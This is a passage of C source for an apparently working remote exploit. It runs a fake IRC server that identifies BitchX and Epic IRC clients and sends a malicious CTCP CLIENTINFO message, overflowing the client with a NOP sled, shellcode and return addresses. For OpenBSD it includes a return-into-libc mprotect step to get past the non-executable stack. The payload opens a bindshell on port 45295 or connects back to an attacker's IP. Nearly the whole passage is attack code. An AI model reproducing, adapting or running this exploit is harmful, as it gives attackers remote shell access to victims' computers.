  623.  if (verbose == 1) fprintf(stderr, "[%s] Target found. [ret: 0x%08x]\n",
  624.  inet_ntoa(saddr_in2.sin_addr), (unsigned) targets[type - 1].ret);
  625.  break;
  626.  }
  627.  }
  628.  
  629.  if (type == 0) {
  630.  if (verbose == 1) fprintf(stderr, "[%s] Not found, bouncing to [%s:%u]
  631. ...\n",
  632.  inet_ntoa(saddr_in2.sin_addr),ircd_host, ircd_port);
  633.  
  634.  if ((sock_ircd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
  635.  if (verbose == 1) fprintf(stderr, "[%s] socket error.\n",
  636.  inet_ntoa(saddr_in2.sin_addr));
  637.  close(sock_server_new);
  638.  exit(1);
  639.  }
  640.  
  641.  if (connect(sock_ircd, (struct sockaddr *)&saddr_in3, sizeof(saddr_in3))
  642. == -1) {
  643.  if (verbose == 1) fprintf(stderr, "[%s] Unable to connect to
  644. [%s:%u].\n",
  645.  inet_ntoa(saddr_in2.sin_addr), ircd_host, ircd_port);
  646.  close(sock_server_new);
  647.  close(sock_ircd);
  648.  exit(1);
  649.  }
  650.  
  651.  memset(log_buffer, 0x00, sizeof(log_buffer));
  652.  snprintf(log_buffer, sizeof(log_buffer) - 1,
  653.  "NICK %s\nUSER %s\n", nick, user);
  654.  
  655.  
  656.  if (send(sock_ircd, log_buffer, strlen(log_buffer), 0) < 0) {
  657.  close(sock_server_new);
  658.  close(sock_ircd);
  659.  exit(1);
  660.  }
  661.  
  662.  memset(read_buf, 0x00, sizeof(read_buf));
  663.  bytes = 1;
  664.  while (bytes) {
  665.  
  666.  FD_ZERO(&fd_read);
  667.  FD_SET(sock_server_new, &fd_read);
  668.  FD_SET(sock_ircd, &fd_read);
  669.  
  670.  select(FD_SETSIZE, &fd_read, NULL, NULL, NULL);
  671.  
  672.  if (FD_ISSET(sock_ircd, &fd_read)) {
  673.  
  674.  memset(read_buf, 0x00, sizeof(read_buf));
  675.  bytes = recv(sock_ircd, read_buf, sizeof(read_buf), 4);
  676.  if (bytes) send(sock_server_new, read_buf, bytes, 4);
  677.  
  678.  } else if (FD_ISSET(sock_server_new, &fd_read)) {
  679.  
  680.  memset(&read_buf, 0x00, sizeof(read_buf));
  681.  bytes = recv(sock_server_new, read_buf, sizeof(read_buf), 4);
  682.  if (bytes) send(sock_ircd, read_buf, bytes, 4);
  683.  }
  684.  }
  685.  
  686.  close(sock_ircd);
  687.  close(sock_server_new);
  688.  exit(1);
  689.  }
  690.  }
  691.  
  692.  k = 69;
  693.  i = 0;
  694.  
  695.  memset(sh_host, 0x00, sizeof(sh_host));
  696.  if (targets[type - 1].type < 3) {
  697.  snprintf(sh_host, sizeof(sh_host) - 1, "BitchX %s:%d", ircd_host,
  698. ircd_port);
  699.  } else {
  700.  snprintf(sh_host, sizeof(sh_host) - 1, "epic %s:%d", ircd_host,
  701. ircd_port);
  702.  }
  703.  
  704.  strncat(sh_host, " ",
  705.  sizeof(sh_host) - strlen(sh_host) - 1);
  706.  while (1) {
  707.  
  708.  if (sh_host[i + 0] == 0x00) break;
  709.  linux_bindcode[k - 3] = sh_host[i + 0];
  710.  linux_connect_back[k - 3] = sh_host[i + 0];
  711.  
  712.  
  713.  if (sh_host[i + 1] == 0x00) break;
  714.  linux_bindcode[k - 2] = sh_host[i + 1];
  715.  linux_connect_back[k - 2] = sh_host[i + 1];
  716.  
  717.  if (sh_host[i + 2] == 0x00) break;
  718.  linux_bindcode[k - 1] = sh_host[i + 2];
  719.  linux_connect_back[k - 1] = sh_host[i + 2];
  720.  
  721.  if (sh_host[i + 3] == 0x00) break;
  722.  linux_bindcode[k - 0] = sh_host[i + 3];
  723.  linux_connect_back[k - 0] = sh_host[i + 3];
  724.  
  725.  k -= 5;
  726.  i += 4;
  727.  }
  728.  
  729.  k = 64;
  730.  i = 0;
  731.  
  732.  while (1) {
  733.  
  734.  if (sh_host[i + 0] == 0x00) break;
  735.  BSD_bindcode[k - 3] = sh_host[i + 0];
  736.  BSD_connect_back[k - 3] = sh_host[i + 0];
  737.  
  738.  if (sh_host[i + 1] == 0x00) break;
  739.  BSD_bindcode[k - 2] = sh_host[i + 1];
  740.  BSD_connect_back[k - 2] = sh_host[i + 1];
  741.  
  742.  if (sh_host[i + 2] == 0x00) break;
  743.  BSD_bindcode[k - 1] = sh_host[i + 2];
  744.  BSD_connect_back[k - 1] = sh_host[i + 2];
  745.  
  746.  if (sh_host[i + 3] == 0x00) break;
  747.  BSD_bindcode[k - 0] = sh_host[i + 3];
  748.  BSD_connect_back[k - 0] = sh_host[i + 3];
  749.  
  750.  k -= 5;
  751.  i += 4;
  752.  }
  753.  
  754.  k = 0;
  755.  
  756.  usleep(3000000); /* We have to wait a couple of seconds,
  757.  otherwise BitchX/Epic will ignore the clientinfo CTCP. */
  758.  
  759.  memset(sh_buffer, 0x90, sizeof(sh_buffer));
  760.  memcpy(sh_buffer + sizeof(sh_buffer) - 1 - strlen(targets[type -
  761. 1].shellcode),
  762.  targets[type - 1].shellcode, strlen(targets[type - 1].shellcode));
  763.  sh_buffer[sizeof(sh_buffer) - 1] = 0x0;
  764.  
  765.  if (send_text(sock_server_new, ":netric!netric@netric.org PRIVMSG a:
  766. %s\r\n", sh_buffer) < 0) {
  767.  if (verbose == 1) fprintf(stderr, "[%s] send failed!\n",
  768. inet_ntoa(saddr_in2.sin_addr));
  769.  exit(1);
  770.  }
  771.  
  772.  usleep(300000);
  773.  
  774.  if (targets[type - 1].type == 2 || targets[type - 1].type == 5) {
  775.  
  776.  /* OpenBSD 3.2!
  777.  
  778.  Quote:
  779.  
  780.  "As theo announced on misc@, non-executable stack support is available
  781. in the most
  782.  recent snapshots for most platforms. In other words, say goodbye to the
  783. vast majority
  784.  of buffer overflow attacks against OpenBSD machines :-) "
  785.  
  786.  The stack is non executable at default, so we use a return into libc
  787. technic,
  788.  to get the stack executable again. We use the mprotect() function in
  789. libc,
  790.  to mark the stack PROT_WRITE|PROT_READ|PROT_EXEC ;)
  791.  
  792.  */
  793.  size = -1;
  794.  memset(ret_buffer, 0x90, sizeof(ret_buffer));
  795.  memcpy(ret_buffer + 28, &targets[type - 1].mprotect, 4);
  796.  memcpy(ret_buffer + 32, &targets[type - 1].ret, 4);
  797.  memcpy(ret_buffer + 36, &targets[type - 1].ret, 4); // void *addr
  798.  memcpy(ret_buffer + 40, &size, 4);
  799.  // size_t len
  800.  ret_buffer[44] = 0x07;
  801.  // int prot
  802.  ret_buffer[200] = 0x00;
  803.  
  804.  } else {
  805.  
  806.  memset(ret_buffer, 0x0, sizeof(ret_buffer));
  807.  
  808.  for(i = 0; i < sizeof(ret_buffer) - 4; i += 4)
  809.  {
  810.  ret_buffer[i + 0] = (targets[type - 1].ret >> 0) & 0xff;
  811.  ret_buffer[i + 1] = (targets[type - 1].ret >> 8) & 0xff;
  812.  ret_buffer[i + 2] = (targets[type - 1].ret >> 16) & 0xff;
  813.  ret_buffer[i + 3] = (targets[type - 1].ret >> 24) & 0xff;
  814.  }
  815.  }
  816.  
  817.  memset(buffer, 0x90, sizeof(buffer));
  818.  memcpy(buffer - sizeof(jmp_code) - 2, jmp_code, sizeof(jmp_code) - 1);
  819.  buffer[sizeof(buffer) - 1] = 0x00;
  820.  
  821.  if (send_text(sock_server_new,
  822.  ":%s!netric@netric.org PRIVMSG a: %cCLIENTINFO %s%c\r\n",
  823.  buffer, 0x01, ret_buffer, 0x01) < 0) {
  824.  if (verbose == 1) {
  825.  fprintf(stderr, "[%s] send failed!\n", inet_ntoa(saddr_in2.sin_addr));
  826.  exit(1);
  827.  }
  828.  }
  829.  
  830.  if (connectback == 0) {
  831.  if (log) fprintf(log, "[%s] %s - Bindshell is running on port
  832. 0xb0ef(45295).\n",
  833.  inet_ntoa(saddr_in2.sin_addr), nick);
  834.  fprintf(stderr, "[%s] Bindshell is running on port 0xb0ef(45295).\n",
  835.  inet_ntoa(saddr_in2.sin_addr));
  836.  } else {
  837.  if (log) fprintf(log, "[%s] %s - Connecting to %d.%d.%d.%d:45295.\n",
  838.  inet_ntoa(saddr_in2.sin_addr), nick, ip1, ip2, ip3, ip4);
  839.  fprintf(stderr, "[%s] Connecting to %d.%d.%d.%d:45295.\n",
  840.  inet_ntoa(saddr_in2.sin_addr), ip1, ip2, ip3, ip4);
  841.  }
  842.  
  843.  close(sock_server_new);
  844.  exit(0);
  845.  }
  846.  
  847.  close(sock_server_new);
  848.  }
  849.  
  850.  return 0;
  851. }
  852.  
  853. /* EOF */
  854.